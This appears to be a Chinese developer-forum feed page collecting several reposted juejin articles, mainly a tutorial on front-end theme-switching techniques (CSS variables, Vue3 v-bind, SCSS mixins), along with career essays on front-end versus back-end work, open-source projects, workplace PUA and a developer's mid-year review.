appServer_go
1.创建一个数据库
运行程序会根据model自动创建表
2.配置config.ini文件
chat相关配置可以在console中找到
3.iOS工程需要一下改动
4.运行appserver 和 ios项目
说明
项目主要实现上面三个接口
下面是安卓的配置(参数配置参数ios)
现在我们经常可以看到一些网站会有类似
暗黑模式/白天模式
的主题切换功能,效果也是十分炫酷,在平时的开发场景中也有越来越多这样的需求,这里大致罗列一些常见的主题切换方案并分析其优劣,大家可根据需求综合分析得出一套适用的方案。
其做法就是提前准备好几套CSS
主题样式文件,在需要的时候,创建link
标签动态加载到head
标签中,或者是动态改变link
标签的href
属性。
表现效果如下:
网络请求如下:
实现了按需加载,提高了首屏加载时的性能
动态加载样式文件,如果文件过大网络情况不佳的情况下可能会有加载延迟,导致样式切换不流畅
如果主题样式表内定义不当,会有优先级问题
各个主题样式是写死的,后续针对某一主题样式表修改或者新增主题也很麻烦
这种方案与第一种比较类似,为了解决反复加载样式文件问题提前将样式全部引入,在需要切换主题的时候将指定的根元素类名更换,相当于直接做了样式覆盖,在该类名下的各个样式就统一地更换了。其基本方法如下:
/* day样式主题 */
body.day .box {
color: #f90;
background: #fff;
}
/* dark样式主题 */
body.dark .box {
color: #eee;
background: #333;
}
.box {
width: 100px;
height: 100px;
border: 1px solid #000;
}
<div class="box">
<p>hello</p>
</div>
<p>
选择样式:
<button onclick="change('day')">day</button>
<button onclick="change('dark')">dark</button>
</p>
function change(theme) {
document.body.className = theme;
}
表现效果如下:
不用重新加载样式文件,在样式切换时不会有卡顿
首屏加载时会牺牲一些时间加载样式资源
如果主题样式表内定义不当,也会有优先级问题
各个主题样式是写死的,后续针对某一主题样式表修改或者新增主题也很麻烦
通过以上两个方案,我们可以看到对于样式的加载问题上的考量就类似于在纠结是做SPA单页应用还是MPA多页应用项目一样。两种其实都误伤大雅,但是最重要的是要保证在后续的持续开发迭代中怎样会更方便。因此我们还可以基于以上存在的问题和方案做进一步的增强。
在做主题切换技术调研时,看到了网友的一条建议:
因此下面的几个方案主要是针对变量来做样式切换
灵感参考:Vue3官网
在Vue3
官网有一个暗黑模式切换按钮,点击之后就会平滑地过渡,虽然Vue3
中也有一个v-bind
特性可以实现动态样式绑定,但经过观察以后Vue
官网并没有采取这个方案,针对Vue3
的v-bind
特性在接下来的方案中会细说。
大体思路跟方案2相似,依然是提前将样式文件载入,切换时将指定的根元素类名更换。不过这里相对灵活的是,默认在根作用域下定义好CSS变量,只需要在不同的主题下更改CSS变量对应的取值即可。
顺带提一下,在Vue3官网还使用了color-scheme: dark;
将系统的滚动条设置为了黑色模式,使样式更加统一。
html.dark {
color-scheme: dark;
}
实现方案如下:
/* 定义根作用域下的变量 */
:root {
--theme-color: #333;
--theme-background: #eee;
}
/* 更改dark类名下变量的取值 */
.dark{
--theme-color: #eee;
--theme-background: #333;
}
/* 更改pink类名下变量的取值 */
.pink{
--theme-color: #fff;
--theme-background: pink;
}
.box {
transition: all .2s;
width: 100px;
height: 100px;
border: 1px solid #000;
/* 使用变量 */
color: var(--theme-color);
background: var(--theme-background);
}
表现效果如下:
不用重新加载样式文件,在样式切换时不会有卡顿
在需要切换主题的地方利用var()绑定变量即可,不存在优先级问题
新增或修改主题方便灵活,仅需新增或修改CSS变量即可,在var()绑定样式变量的地方就会自动更换
IE兼容性(忽略不计)
首屏加载时会牺牲一些时间加载样式资源
虽然这种方式存在局限性只能在Vue开发中使用,但是为Vue项目开发者做动态样式更改提供了又一个不错的方案。
<script setup>
// 这里可以是原始对象值,也可以是ref()或reactive()包裹的值,根据具体需求而定
const theme = {
color: 'red'
}
</script>
<template>
<p>hello</p>
</template>
<style scoped>
p {
color: v-bind('theme.color');
}
</style>
Vue3
中在style
样式通过v-bind()
绑定变量的原理其实就是给元素绑定CSS变量,在绑定的数据更新时调用CSSStyleDeclaration.setProperty更新CSS变量值。
前面方案3基于CSS变量绑定样式是在:root
上定义变量,然后在各个地方都可以获取到根元素上定义的变量。现在的方案我们需要考虑的问题是,如果是基于JS层面如何在各个组件上优雅地使用统一的样式变量?
我们可以利用Vuex或Pinia对全局样式变量做统一管理,如果不想使用类似的插件也可以自行封装一个hook,大致如下:
// 定义暗黑主题变量
export default {
fontSize: '16px',
fontColor: '#eee',
background: '#333',
};
// 定义白天主题变量
export default {
fontSize: '20px',
fontColor: '#f90',
background: '#eee',
};
import { shallowRef } from 'vue';
// 引入主题
import theme_day from './theme_day';
import theme_dark from './theme_dark';
// 定义在全局的样式变量
const theme = shallowRef({});
export function useTheme() {
// 尝试从本地读取
const localTheme = localStorage.getItem('theme');
theme.value = localTheme ? JSON.parse(localTheme) : theme_day;
const setDayTheme = () => {
theme.value = theme_day;
};
const setDarkTheme = () => {
theme.value = theme_dark;
};
return {
theme,
setDayTheme,
setDarkTheme,
};
}
使用自己封装的主题hook
<script setup lang="ts">
import { useTheme } from './useTheme.ts';
import MyButton from './components/MyButton.vue';
const { theme } = useTheme();
</script>
<template>
<div class="box">
<span>Hello</span>
</div>
<my-button />
</template>
<style lang="scss">
.box {
width: 100px;
height: 100px;
background: v-bind('theme.background');
color: v-bind('theme.fontColor');
font-size: v-bind('theme.fontSize');
}
</style>
<script setup lang="ts">
import { useTheme } from '../useTheme.ts';
const { theme, setDarkTheme, setDayTheme } = useTheme();
const change1 = () => {
setDarkTheme();
};
const change2 = () => {
setDayTheme();
};
</script>
<template>
<button class="my-btn" @click="change1">dark</button>
<button class="my-btn" @click="change2">day</button>
</template>
<style scoped lang="scss">
.my-btn {
color: v-bind('theme.fontColor');
background: v-bind('theme.background');
}
</style>
表现效果如下:
其实从这里可以看到,跟Vue的响应式原理一样,只要数据发生改变,Vue就会把绑定了变量的地方通通更新。
不用重新加载样式文件,在样式切换时不会有卡顿
在需要切换主题的地方利用v-bind绑定变量即可,不存在优先级问题
新增或修改主题方便灵活,仅需新增或修改JS变量即可,在v-bind()绑定样式变量的地方就会自动更换
IE兼容性(忽略不计)
首屏加载时会牺牲一些时间加载样式资源
这种方式只要是在组件上绑定了动态样式的地方都会有对应的编译成哈希化的CSS变量,而不像方案3统一地就在:root上设置(不确定在达到一定量级以后的性能),也可能正是如此,Vue官方也并未采用此方式做全站的主题切换
主要是运用SCSS的混合+CSS类名切换,其原理主要是将使用到mixin混合的地方编译为固定的CSS以后,再通过类名切换去做样式的覆盖,实现方案如下:
定义SCSS变量:
/* 字体定义规范 */
$font_samll:12Px;
$font_medium_s:14Px;
$font_medium:16Px;
$font_large:18Px;
/* 背景颜色规范(主要) */
$background-color-theme: #d43c33;//背景主题颜色默认(网易红)
$background-color-theme1: #42b983;//背景主题颜色1(QQ绿)
$background-color-theme2: #333;//背景主题颜色2(夜间模式)
/* 背景颜色规范(次要) */
$background-color-sub-theme: #f5f5f5;//背景主题颜色默认(网易红)
$background-color-sub-theme1: #f5f5f5;//背景主题颜色1(QQ绿)
$background-color-sub-theme2: #444;//背景主题颜色2(夜间模式)
/* 字体颜色规范(默认) */
$font-color-theme : #666;//字体主题颜色默认(网易)
$font-color-theme1 : #666;//字体主题颜色1(QQ)
$font-color-theme2 : #ddd;//字体主题颜色2(夜间模式)
/* 字体颜色规范(激活) */
$font-active-color-theme : #d43c33;//字体主题颜色默认(网易红)
$font-active-color-theme1 : #42b983;//字体主题颜色1(QQ绿)
$font-active-color-theme2 : #ffcc33;//字体主题颜色2(夜间模式)
/* 边框颜色 */
$border-color-theme : #d43c33;//边框主题颜色默认(网易)
$border-color-theme1 : #42b983;//边框主题颜色1(QQ)
$border-color-theme2 : #ffcc33;//边框主题颜色2(夜间模式)
/* 字体图标颜色 */
$icon-color-theme : #ffffff;//边框主题颜色默认(网易)
$icon-color-theme1 : #ffffff;//边框主题颜色1(QQ)
$icon-color-theme2 : #ffcc2f;//边框主题颜色2(夜间模式)
$icon-theme : #d43c33;//边框主题颜色默认(网易)
$icon-theme1 : #42b983;//边框主题颜色1(QQ)
$icon-theme2 : #ffcc2f;//边框主题颜色2(夜间模式)
定义混合mixin:
@import "./variable.scss";
@mixin bg_color(){
background: $background-color-theme;
[data-theme=theme1] & {
background: $background-color-theme1;
}
[data-theme=theme2] & {
background: $background-color-theme2;
}
}
@mixin bg_sub_color(){
background: $background-color-sub-theme;
[data-theme=theme1] & {
background: $background-color-sub-theme1;
}
[data-theme=theme2] & {
background: $background-color-sub-theme2;
}
}
@mixin font_color(){
color: $font-color-theme;
[data-theme=theme1] & {
color: $font-color-theme1;
}
[data-theme=theme2] & {
color: $font-color-theme2;
}
}
@mixin font_active_color(){
color: $font-active-color-theme;
[data-theme=theme1] & {
color: $font-active-color-theme1;
}
[data-theme=theme2] & {
color: $font-active-color-theme2;
}
}
@mixin icon_color(){
color: $icon-color-theme;
[data-theme=theme1] & {
color: $icon-color-theme1;
}
[data-theme=theme2] & {
color: $icon-color-theme2;
}
}
@mixin border_color(){
border-color: $border-color-theme;
[data-theme=theme1] & {
border-color: $border-color-theme1;
}
[data-theme=theme2] & {
border-color: $border-color-theme2;
}
}
<template>
<div @click="changeTheme">
<div>
<slot name="left">左边</slot>
</div>
<slot name="center">中间</slot>
<div>
<slot name="right">右边</slot>
</div>
</div>
</template>
<script>
export default {
name: 'Header',
methods: {
changeTheme () {
document.documentElement.setAttribute('data-theme', 'theme1')
}
}
}
</script>
<style scoped lang="scss">
@import "../assets/css/variable";
@import "../assets/css/mixin";
.header{
width: 100%;
height: 100px;
font-size: $font_medium;
@include bg_color();
}
</style>
表现效果如下:
可以发现,使用mixin混合在SCSS编译后同样也是将所有包含的样式全部加载:
这种方案最后得到的结果与方案2类似,只是在定义主题时由于是直接操作的SCSS变量,会更加灵活。
不用重新加载样式文件,在样式切换时不会有卡顿
在需要切换主题的地方利用mixin混合绑定变量即可,不存在优先级问题
新增或修改主题方便灵活,仅需新增或修改SCSS变量即可,经过编译后会将所有主题全部编译出来
首屏加载时会牺牲一些时间加载样式资源
此方案较于前几种会更加灵活,不过视情况而定,这个方案适用于由用户根据颜色面板自行设定各种颜色主题,这种是主题颜色不确定的情况,而前几种方案更适用于定义预设的几种主题。
方案参考:vue-element-plus-admin
主要实现思路如下:
只需在全局中设置好预设的全局CSS变量样式,无需单独为每一个主题类名下重新设定CSS变量值,因为主题是由用户动态决定。
:root {
--theme-color: #333;
--theme-background: #eee;
}
定义一个工具类方法,用于修改指定的CSS变量值,调用的是CSSStyleDeclaration.setProperty
export const setCssVar = (prop: string, val: any, dom = document.documentElement) => {
dom.style.setProperty(prop, val)
}
在样式发生改变时调用此方法即可
setCssVar('--theme-color', color)
表现效果如下:
这里还用了vueuse
的useCssVar
不过效果和Vue3
中使用v-bind
绑定动态样式是差不多的,底层都是调用的CSSStyleDeclaration.setProperty这个api,这里就不多赘述vueuse中的用法。
不用重新加载样式文件,在样式切换时不会有卡顿
仔细琢磨可以发现其原理跟方案4利用Vue3的新特性v-bind是一致的,只不过此方案只在:root
上动态更改CSS变量而Vue3中会将CSS变量绑定到任何依赖该变量的节点上。
需要切换主题的地方只用在:root
上动态更改CSS变量值即可,不存在优先级问题
新增或修改主题方便灵活
IE兼容性(忽略不计)
首屏加载时会牺牲一些时间加载样式资源(相对于前几种预设好的主题,这种方式的样式定义在首屏加载基本可以忽略不计)
说明:两种主题方案都支持并不代表一定是最佳方案,视具体情况而定。
方案/主题样式 | 固定预设主题样式 | 主题样式不固定 |
---|---|---|
方案1:link标签动态引入 | √(文件过大,切换延时,不推荐) | × |
方案2:提前引入所有主题样式,做类名切换 | √ | × |
方案3:CSS变量+类名切换 | √(推荐) | × |
方案4:Vue3新特性(v-bind) | √(性能不确定) | √(性能不确定) |
方案5:SCSS + mixin + 类名切换 | √(推荐,最终呈现效果与方案2类似,但定义和使用更加灵活) | × |
方案6:CSS变量+动态setProperty | √(更推荐方案3) | √(推荐) |
作者:四相前端团队
来源:juejin.cn/post/7134594122391748615
收起阅读 »教程地址:https://www.imgeek.org/video/115
本教程讲述以下两点:
1.跟着文档快速集成环信 IM Unity SDK,实现单聊功能
2.集成SDK时需要注意的点
Demo下载:链接: https://pan.baidu.com/s/1cWsUTO5oZQIWqKw3YyM7EA 密码: 27kn
收起阅读 »连续两期视频都有朋友问类似问题:“我只对开源项目、技术项目感兴趣,不想做业务,怎么办?”。
这种工作可能是所有人梦寐以求的,又能提升自己前端技术,又能提升社区知名度,还不用被业务左右。这么好的工作怎么找?今天我们来分析分析~
首先我们从公司角度看看,为什么公司需要做技术项目?
我们需要先明确一点,公司是逐利的,不管是做技术项目,还是做业务,一定是要给公司带来价值的。业务的价值就不必说了,那技术项目能给公司带来什么价值?
举个知名开源库 ant design 的例子吧~
公司有几千个中后台应用,antd design 组件库的诞生,统一了此类应用的设计风格,同时极大提升了开发效率,对公司来讲,节省了极大的人力成本,这就是技术项目给公司带来的实打实的价值。
技术项目的价值一般是要这么计算的:覆盖了 xx 项目,提升了 xx% 效率,为公司节省了 xx 人力。
你不会以为做 ant design,最终汇报的时候,就是说自己做了 xx 个组件吧~
你不会以为做 ahooks,最终汇报的时候,就是说自己做了 xx 个 Hooks 吧~
所以公司为什么要做技术项目?那就是技术项目能给公司节省成本,带来价值。
答案很简单,因为开源能给公司带来价值。那价值是什么?
还是举 ant design 的例子,公司把 ant design 开源之后,收益至少有两部分
借社区无穷的力量,打磨 ant design 组件库,把它里面隐藏的 bug 都捉出来
吸引人才。君不见多少优秀的前端是被 ant design 吸引进去的?
举几个我熟悉的开源项目,让大家看看技术项目都是怎么诞生的吧。
最开始我负责了 N 个中后台项目,整天就是 CRUD,表格表单一把梭。
随着 React Hooks 的诞生,我开始在项目中引入 Hooks,我发现表格的逻辑、网络请求的逻辑都是类似的,可以封装起来,然后就封装了几个原始的 Hooks,在我的 N 个项目中复用。
后来我在组内组外分享了一下,发现大家都有同类诉求,还是很乐意尝试用用我封装的东西的。
再然后我就开始基于我的业务经验,封装了更多好用的 Hooks,一步一步走到了今天。
再来讲讲著名微前端框架 qiankun 的诞生故事吧。
大概就是 qiankun 作者负责了一个比较特殊的项目,需要把几十个前端项目组合到一起,类似阿里云那样。这几十个项目都使用不同的域名,切换之后域名变来变去,浏览器还会刷新白屏,用户体验贼差。
为了解决这个问题,大佬怒而创造了一套微前端架构,解决前端项目组合问题。解决了自己的问题之后,他把通用能力抽取出来,就成为了我们看到的 qiankun~
从以上两个技术项目中,大家发现了什么共同点?那就是技术项目都是从业务中诞生出来的!
如果没有深入做过几年业务,都不知道业务的痛点在什么地方,怎么造轮子?万地高楼平地起,空中楼阁不可取。
很多朋友向我抱怨业务太多,整天 CRUD 没意思,其实你们在守着金矿,试着挖掘一下!
细想一下,如果现在你来负责 ahooks,你会加入哪些新的功能?如果你没做业务,你都没有输入来源。
另外我还要打击你的一点就是,公司内大部分有开源项目的同学,仍然有 60% 以上时间是做业务的,基本上很少很少有人全职做技术项目的(至少我没见过)。
基于以上内容,我的建议是:多做业务,多做业务,多做业务!业务做的多,痛点自然有了,那技术项目自然而然就来了。
不做业务,只造轮子,先问问自己做什么轮子?做出来给谁用?
当然啦,还是有一类岗位是比较适合这个朋友诉求的,那就是前端基建团队,比如 Web IDE、Serverless、前端流程管控平台、低代码等。这种项目不同于我们常见的业务,它们的目标用户是前端开发人员。
这类项目的一般都是前端开发一把梭,深度使用 Node.js,可以极大提升前端技能。
但这类项目做起来其实很难,可能做了好多年,发现投入产出比极低,没有给公司带来价值。
最终我还是建议先深入做几年业务,发现业务痛点,去解决它,技术项目、开源项目自然而然就来了!
作者:brickspert
来源:juejin.cn/post/7136893477681381407
怎么别人都能干,你连这点小事都做不好?
经常加班是因为你的工作方法不对,效率太低了。
怎么现在的你和面试的时候相差了这么多,你太让我失望了……
上述这些话觉不觉得似曾相识呢?
如果有过,别怀疑,TA在PUA你!!
PUA,原本泛指恋爱关系中的一方通过精神打压等方式,对另一方进行情感控制,使他们对其迷恋,从而心甘情愿地为其付出。
说白了就是“我骂你,但你爱我”。
衍生到现在,PUA早已不局限在爱情里。
职场PUA、亲情PUA、友情PUA…应有尽有。
根据智联招聘发布的《2021年白领生活状况调研报告》显示,63.65%的受访者表示遭遇过职场PUA。
今天带大家从一次漂亮的回怼开始,向PUA说不可能!
感情中如果遇到PUA你的渣男/渣女,别客气,直接怼回去,然后就分手!
总之,小摹劝各位小伙伴一句,在感情中,一旦发现有PUA的苗头就要及时遏制住,找自己需要的爱情才对~
面对甲方爸爸时,我们总不能硬碰硬的回怼,所以就得体现咱们说话的艺术啦~
甲方爸爸毕竟是金主,当然得说好听的话供着了!
当你遇到了职场PUA,千万别忍着,否则别人只会认为你好欺负,一定要怼!回!去!
在此,小摹想提醒各位一句,职场PUA和要求严格最大的区别在于究竟是对事还是对人。
要求严格是对事不对人,希望你能将事情做好;职场PUA是对人不对事,针对你个人下结论。愿大家能珍惜对你严格的领导,远离PUA你的领导~
对于正在遭受PUA的伙伴们,我也给大家整理了3个摆脱的方法,希望可以有所帮助:
设定边界,坚定自己的原则的底线;
学会用正确的方式疏导/释放自己的情绪;
敢于说不,及时向家人/朋友/外界寻求帮助。
最后,我想说,别让工资/依赖成为精神补偿,无论你在遭受职场or情感PUA,要么反击,要么离去!
作者:摹客
来源:juejin.cn/post/7133038800766566437
古人说,三十而立,意思是30岁可以自立于世,即做事合于礼,言行都很得当。
反观自己,真是一点边不沾,做事莽撞易炸毛,言行冒昧不妥帖。
先把个人问题放一边,以职业为口子,聊聊年中总结。
现在互联网裁员越来越年轻化了,以前说35岁危机,现在看来,每天都可能有危机,特别是疫情这几年,动不动一条产品线没了,动不动项目开发完成但是由于X种原因不能上线了,动不动行业暴雷了。
认识一个朋友,同前端,再北京工作6年,换了5份工作,第一份试用期没过被裁,第二份被裁,第三份裁员时候庆幸自己留下来了,最后先被裁的都有了补偿,留下的拖欠了工资,直到倒闭也没有发出来,开始仲裁路,回老家休养生息1年。再次来北京,第四份干了一年多又被裁,第五份躲过了裁员潮,现在每天加班到十点以后。。
说实话,我挺佩服他,屡战屡败,越战越勇,最后也坚持下来了。好像在北京,没有裁员过的人生也是不完整的,多数人都有被裁员的经历。
还认识一个朋友,聪明且勤奋,在小厂磨砺3年,从bug满天飞,到没有一个bug,从部门被人吐槽的开发走到了领导者,工资一路涨,最后跳槽去了大厂,反而在大厂难以出头,最后平平无奇郁郁寡欢呆了2年,带着大厂光环进入小厂找到了存在感,确实能力强者。
还有一个朋友,就是平平无奇的我自己,6年换了2份工作,无大厂光环,每份薪水都处于平局线,没有被裁过,也没有光辉过。
我们,都同岁,有着不同的24岁到30岁,有着不同的三十而立。也是漂在北京的同龄人的缩影。
今年所在的公司由于黑天鹅事件踩雷被迫开始裁员,很多同事都领了大礼包,风波还在继续,指不定什么时候就轮到自己,早就做好心里准备,等待着这一天到来,然后拿着大礼包出去玩,年纪再大,也得学会排解自己。
以前找工作,hr总问,你住哪里?公司离你住所比较远,这点你怎么考虑?我都会说:房子么,也不是自己的,以工作为主,搬个家就可以了。
现在80后建议,买房子一定要买离工作单位近的,上下班方便,我都会说:工作么,早晚都会被裁的,还是以家庭为主。
就好像看的多了,格局就打开了,裁员不丢人,且干且珍惜,希望真轮到自己的时候也能这么豁达。
年初的时候立了几个flag
晋升
看书*5
源码
考证
减肥
出去玩
存款
晋升
晋升完成,这个属于意料之内,不出意外的正常发生(当然也有planB,就是头也不回的滚蛋)。
毕竟入职满一年,做的业务项目业绩不错,做的技术项目效果还行,给过去忙碌的一年一个交代。也有可能是因为这个,躲过了前2波的裁员。
这里还是给 年轻人点建议,踏踏实实巩固自己的技术基础,有能力的多了解下流行框架设计思想与底层原理,很多看似很难解决的bug,对基础和原理了解的多,很容易就解决了,我来的做的第一个技术项目就是这样,这里困扰fe很久的编译问题,其实知道原理和基础,200行代码就解决了,所以才给大家留下了印象。
说实话我不是聪明的那个人,只是努力做到普通罢了。
看书
《底层逻辑》--------done
《认知红利》—-—---done
《进化的力量》——--done
《你的灯还亮着吗》—done
《向上生长》—done
《跃迁:成为高手的技术》-ing
这里看的都是闲书,扩展下自己的思维,也不能说自己理解的多透彻,不细说了,都是好书,值得二刷,三刷。
感兴趣的可以评论,再出读后感。
这里分享几句我划线的句子。
人脉,不是能帮到你的人,而是你能帮到的人。 --《进化的力量》
在学习的前期,一个人是没有方向,没有思路,没有全局感的,最重要的就是不断地投入时间,过一段时间就会突然清晰了。很多人学习新技能一无所成,就是死在了这个时间点前。--《向上生长》
这个时代真正的高手,几乎都有一个特点———他们既懂得如何驱动自己持续地努力和积累,也懂得借助社会和科技趋势放大自己努力的收益。所有这些取得重大成就的人,最明显的共同特点,就是阶段性的非线性成长,跃迁式的上升,每隔几年,他们突然上一个台阶,眼界、想法、能力、调用的资源和身价都完全不同,这就是利用规律放大个人努力的结果。 --《跃迁:成为高手的技术》
源码
这可是一个跨越3年的flag,每次牟足了劲看一段时间,工作比较忙又搁置了一段时间,进度缓慢,看的没有忘得快。今年努努力吧~
考证
公司是做金融的,建议考《基金从业资格证》,除了买书,无进展。
大概率也不会有啥进展了,工作日没时间看,周末就像泄了气的皮球,懒到没边,所以这里应该相信我真的只是努力做到普通罢了。
减肥
掉了5斤,等于没有成功,因为虚胖,少吃几顿5斤就下来了,一直来来回回,反反复复,拉拉扯扯,都是这5斤。
不成功,能怎么办?
谁让这世界有这么多好吃的,我大概是不会抑郁的,不高兴的时候就会吃东西,吃东西就会发胖,胖了就会不高兴。 如此循环,如何享瘦?
出去玩
青春有几年,疫情占3年。
各地防疫政策比女生翻脸还快,一不小心就容易被隔离在外地,别说出去玩了,就连过年回家都得各种打报告。
好不容易到了兜里有点款子,范围内可以浪一浪的阶段,但是疫情确告诉你,年轻的时候没钱见的人,现在有钱了你也见不到。
疫情下的民生,有丑态毕露,也有温暖涌现,不能一句话去总结这人间万象,所以别去想,踏踏实实过好这现在的日子吧。
对下半年说点什么?我也不知道哎。
大概率还是跟过去的180几天一样。
计划永远赶不上变化,但是重要的几步还是要走,比如回家看父母,比如和男朋友规划未来。
还是要多看书,多锻炼,未完成的跨年falg继续,减肥继续,学习继续。
想到哪,说到哪吧~
现在想法比较多的是,到底在这个公司死磕直到领一个丰厚的大礼包,还是少赚点钱去一个7点前下班的公司,毕竟,要考虑成家了,男朋友也是程序员,总的有一个顾家的。
在这说实话是有点压力的,被裁的人里面也有我觉得能力很强的人,之所以被裁,我觉得可能是敢于对不懂技术的领导的命令给予反抗,还有的是不爱出风头的,只知道门头干活的高t。
所以说,在一个公司长久,真的是一件缘分(dddd)。
还是两手准备吧
你们觉得呢?
来源:范小饭 juejin.cn/post/7119052137589375012
收起阅读 »本篇文章是 B 站视频《# 前端好还是后端好,看看7年前端和后端怎么说》的文字版。
有朋友在上一期视频评论区问 “选前端好,还是选后端好”。这个问题我自己也挺好奇,如果我当初选了后端,现在是什么样子?
回答这个问题最好的方式,就是找两个有比较长工作经验的前端和后端,让他们来讲讲各自的从业感受,对比下发展现状。当然,前提是尽量减少他们的其它差异。
嘿,正好,我有一个非常好的朋友青果,我俩除了他做后端,我做前端之外,其它变量都高度一致。一致到什么程度呢?
我俩都是山西人,11 年考入杭州的大学,我俩一个专业,一个班级,一个寝室,头对头睡了 4 年。
14 年我俩一起去面试了同一家小公司,一起去实习,一起入职,每天一起上下班,一起在这个公司工作了 4 年,我俩在这个公司的薪资也一模一样。
我俩唯一的区别就是,他实习就做 JAVA,然后一直坚持在做,他一开始就认准了方向,即使公司让他做 PHP、做前端,他也是拒绝的。
相比之下,我就没主见了,先做 JAVA,然后公司需要 PHP,就去做了一年多 PHP,然后公司需要前端了,就去做了一年多前端,最终误打误撞进入了前端行业。
18 年前后,他离职去了杭州某中大厂,继续做了四年后端开发。
几个月之后,我也离职去了另外一个大厂,继续做了四年前端开发。
到目前为止,我们工作了 7 年多,站在这个节点上,正好对比一下,看看各自的从业感受,我也挺好奇结果的。
接下来,我会准备一些问题,我俩分别来回答一下。
不后悔,我还挺庆幸当初转成前端的,在我的前端生涯发展中,虽然有磕绊,但整体上还是挺顺利的,前端带给了我很多东西,并且整体上来看,前端社区会更活泼一点。
如果现在让我回去 7 年前,我还会无脑选前端的。
谈不上后悔不后悔吧,选择总是基于当下的认知以及结合自身情况。因为当时自学过一段时间安卓开发,且后端体系比较庞大,个人觉得后续的发展空间可能更大,就一直坚持了后端工作。
现在后悔的是,大学期间心智开的太晚,在休闲娱乐上浪费了不少时间。
前端这些年发展太快了,天天出新东西,三个月不学习就落后了,一年不学习就已经不会写了,真正的是活到老学到老。
刚毕业的时候我还快乐的使用 jQuery,然后发展成 Angular,然后发展成 React、Vue 的天下,最近 Vercel 等新势力又冒出来了。框架层还算慢的,各种小的解决方案,那真的是层出不穷。
构建工具从 gulp 到 webpack,再到 esbuild、vite,真的是跟不上了。css 解决方案也是一大堆:css modules、styled-components、tailwind css 等等。
总之,前端最近几年的发展是坐火箭一样的,想不学习吃老本是不行的。另外发展快也有好处,就是机会多,可以造各种轮子。
技术总是推陈出新的,作为开发人员感知到的快与慢,跟能否及时在实际工作中使用新技术、新特性有关。
公司拥抱新技术,会从稳定性、收益成本等多角度考虑,规模越大的公司顾虑越多,也就越难使用新技术。比如各大厂还在大规模使用 2014 年发行的 java 8,而 java 现在已经进化到第 17 个版本了;后端框架仍然还是 SSM(Spring、Spring MVC、Mybatis)为主流。所以站在这个角度,即便技术更迭再快,后端业务开发能接触到的新技术也是很有限的。
在这套”陈旧“的技术上,一般 1、2 年就能驾轻就熟的实现各种业务。如果不持续学习底层原理、核心设计,很容易只停留在知道、会用的境地,当遇到技术难题时,就会不知从何下手。
如果他喜欢和数据打交道,那我可能推荐他去学后端。
大部分情况下,我还是会推荐他学前端,因为前端入门简单,并且上限也不低。 另外就是前端总是和用户交互界面打交道,会比较活泼一点~
如果是纯 IT 小白,可以先从前端找找感觉,入门相对简单,也能及时带来成就感。如果是科班出身的朋友,可以从其他几个问题上综合考量。
我自己感觉,前端市场远远没有饱和,还是比较好找工作的,尤其是优质前端更缺。
大家可以想想,以前前端只是做网页的,但现在 IOS 开发、Android 开发、桌面端应用都逐渐使用前端技术栈开发了,前端已经吃掉了部分客户端开发同学的机会。
并且随着浏览器性能提升,前端能做的事情更多了,各种 3D、游戏都可以用前端技术做了。
所以我觉得前端还是有非常大的市场的。
实话实说,今年市场行情是工作以来最差的一年,很多战友都被动离开了,再加上后端从业人数大,想在这么多人中脱颖而出,找到一份称心的工作,确实比以往更难。
但我认为数字化浪潮还没有褪去,未来还有很多机会,个人努力培养核心竞争力,仍然能够如鱼得水。
因为工资一般在公司属于机密,所以大家都不会交流的,但是我感觉前端和后端工资都差不多的。
前期的话,总体来说薪资是差不多的,可以从各大招聘网站上了解各个职级的薪资水平。后期就要看自己的造化了,个人认为主要是决策力、不可替代性、能力影响范围等会提升你的薪水。
大部分前端都是业务开发,发展路线大概是这样的:
先跟着别人做业务
自己能独立承担业务开发
能虚线带一两个同学承担多个业务开发
带团队
带更大的团队
当然也有专门做技术,不靠带团队晋升到很高级别的,但真的比较少。
以我目前的阶段看,我目前的阶段还属于比较初级的,前面的人有非常非常非常多,所以并没有达到瓶颈。
然后我觉得前端的上限对我们普通人来说,是足够高的,两辈子可能都走不到头。
后端的上限肯定是高的,重点是如何不断突破自己的上限。
现代企业都需要复合型人才,也就是”T”型人才。作为后端开发,纵向需要培养解决疑难问题、设计复杂系统的能力,把技术向下做深、做透;横向需需要培养产品思维、业务分析、领导力等。如果个人遇到了瓶颈,可以参考《工程师职级胜任力框架》,去看看下个职级需要重点培养什么能力。
我觉得前端算是比较好学的,上手非常简单,可能学个几天就会写页面了。
然后说实话,前端的技术没有太多高深的东西,只要肯下功夫,是一定能掌握的,这是一个确定的事情。
我认为学习最难的,就是认知半径限制了应该去学啥,即不知道“应该学啥”。没有目标,不会检索,就很难学。
java 作为发展了接近 30 年的语言,世面上的学习资料可太多了,所以从“应该学啥”的角度,java 还是容易的。
我觉得是的,前端需要掌握一定的后端知识。
因为工作内外,我们可能都有独立开发一个小工具的诉求,后端知识必不可少的,虽然前端学学 Node.js 还是挺简单的,但是对 nginx、数据库、负载均衡 等后端知识也是要有一定涉猎的。
技术人员了解软件工程的全流程是大有裨益的,不光是要会一点前端,还要从业务分析和建模、编码和测试、上线和运营等多维度拓宽知识的边界,不仅利于与各职能之间的沟通协作,也给自己带来更高的看问题视角。这也是思特沃克中国区 CTO——徐昊比较推崇的,我们要努力成为全流工程师,感兴趣的可以去看看。
目前来看,是的,前端是可以做一辈子的,现在转行也没任何必要。并且我也不讨厌前端,挺好玩的还!这碗饭我吃定了~
首先不会限定自己只做后端,现在的物联网等行业也不存在所谓的前后端之分。
IT 这个行业是要做一辈子的,主要是个人的性格确实适合这个行业。如果你还在犹豫是否要从事这个行业,可以去做做 MBTI 测试。
工作前几年,不要太着急限定自己的发展方向,可以都尝试尝试,工作两年之后再做选择。
这个在小公司比较好实施,在大公司一进来工种基本就限定了。
另外就是,迷茫是正常的,是大家都会经历的,可以多找前辈聊一聊,可能会豁然开朗。
保持好奇心。
不要过早的给自己设限。
尽早搭建个人知识体系,可以通过思维导图构建技能树,补齐短板。
缘分妙不可言,期待未来还有机会共事。这顿饭我请定了,但是下一顿得你请我。😄
没有,下一个问题。 开个玩笑,手动狗头,希望有机会向你学习前端技术。
做这期内容,付出了一顿饭的代价,希望能给大家带来帮助,尤其是新人程序员。
也许不能带来实质性的帮助,但让大家看到了真实的工作了 7 年的前端和后端同学的想法。同时在看这篇内容的朋友也藏龙卧虎,大家也可以各抒己见,说说自己对当前工种的看法,给新同学一点帮助。
最后欢迎大家关注我,大家有任何问题,都可以在评论区留言,简单的我就直接回复了,复杂的我会记在小本本上,后面会专门做内容来回复!
来源:brickspert juejin.cn/post/7134283105627537444
收起阅读 »大家好,我是春风。
